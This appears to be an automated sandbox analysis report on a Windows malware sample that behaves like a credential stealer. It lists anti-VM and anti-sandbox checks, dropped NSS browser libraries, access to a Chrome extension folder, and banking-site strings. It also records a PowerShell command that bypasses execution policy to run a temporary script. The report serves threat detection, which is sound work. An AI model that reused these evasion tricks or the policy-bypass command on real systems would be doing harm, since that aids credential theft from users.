Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7696, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: AAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2299	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1744	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4254	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5417	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\sqlm[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 9.7 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7204	Thread sleep count: 2299 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7204	Thread sleep count: 1744 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7248	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7304	Thread sleep count: 4254 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7308	Thread sleep count: 5417 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7336	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep count: 44 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_0040EA01 GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 0040EB14h

13_2_0040EA01

Source: C:\Users\user\Desktop\yU3icg18lq.exe	Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C63
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Code function: 0_2_004068B4 FindFirstFileW,FindClose,	0_2_004068B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040C094 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	13_2_0040C094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00401140 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	13_2_00401140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040A132 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	13_2_0040A132
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_004143FD _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	13_2_004143FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040970D _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	13_2_0040970D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00414B02 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	13_2_00414B02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00413DF6 _EH_prolog,wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,memset,lstrcat,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,FindNextFileA,FindClose,	13_2_00413DF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0041479E _EH_prolog,GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	13_2_0041479E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00409B10 _EH_prolog,StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	13_2_00409B10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_0041418A _EH_prolog,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlen,

13_2_0041418A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_0040EB9D GetSystemInfo,wsprintfA,

13_2_0040EB9D

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: KEGDBFIJ.13.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: powershell.exe, 00000006.00000002.1346398315.00000000083ED000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VMware
Source: KEGDBFIJ.13.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: KEGDBFIJ.13.dr	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: powershell.exe, 00000006.00000002.1346398315.00000000083ED000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VBoxTray
Source: KEGDBFIJ.13.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: wscript.exe, 00000002.00000002.1247911274.0000000002AC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}yoo
Source: KEGDBFIJ.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: KEGDBFIJ.13.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: KEGDBFIJ.13.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: KEGDBFIJ.13.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: KEGDBFIJ.13.dr	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: wscript.exe, 00000002.00000002.1247911274.0000000002AC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: KEGDBFIJ.13.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: KEGDBFIJ.13.dr	Binary or memory string: global block list test formVMware20,11696503903
Source: KEGDBFIJ.13.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: KEGDBFIJ.13.dr	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: KEGDBFIJ.13.dr	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: KEGDBFIJ.13.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: powershell.exe, 00000006.00000002.1346398315.00000000083ED000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VBoxService
Source: KEGDBFIJ.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: KEGDBFIJ.13.dr	Binary or memory string: AMC password management pageVMware20,11696503903
Source: KEGDBFIJ.13.dr	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: KEGDBFIJ.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: KEGDBFIJ.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: RegAsm.exe, 0000000D.00000002.1661591240.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW 1B
Source: KEGDBFIJ.13.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: KEGDBFIJ.13.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: KEGDBFIJ.13.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: KEGDBFIJ.13.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: KEGDBFIJ.13.dr	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: KEGDBFIJ.13.dr	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: KEGDBFIJ.13.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: RegAsm.exe, 0000000D.00000002.1661591240.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: powershell.exe, 00000006.00000002.1346398315.00000000083ED000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: RegAsm.exe, 0000000D.00000002.1661591240.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware<8
Source: KEGDBFIJ.13.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: KEGDBFIJ.13.dr	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: KEGDBFIJ.13.dr	Binary or memory string: discord.comVMware20,11696503903f
Source: KEGDBFIJ.13.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903

Source: C:\Users\user\Desktop\yU3icg18lq.exe	API call chain: ExitProcess graph end node			graph_0-3216
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node			graph_13-77282

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_0041777F memset,__call_reportfault,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

13_2_0041777F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

13_2_00415745

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_00401000 GetProcessHeap,HeapAlloc,RegOpenKeyExA,RegQueryValueExA,

13_2_00401000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0041777F memset,__call_reportfault,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_0041777F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0041C858 SetUnhandledExceptionFilter,	13_2_0041C858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00418CA7 __call_reportfault,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00418CA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD8B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_6CD8B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD8B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_6CD8B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CF3AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_6CF3AC62

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell dedcode and execute

Source: Yara match	File source: amsi32_7252.amsi.csv, type: OTHER
Source: Yara match	File source: C:\Users\user\-temp.ps1, type: DROPPED

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\-temp.ps1"

Encrypted powershell cmdline option found

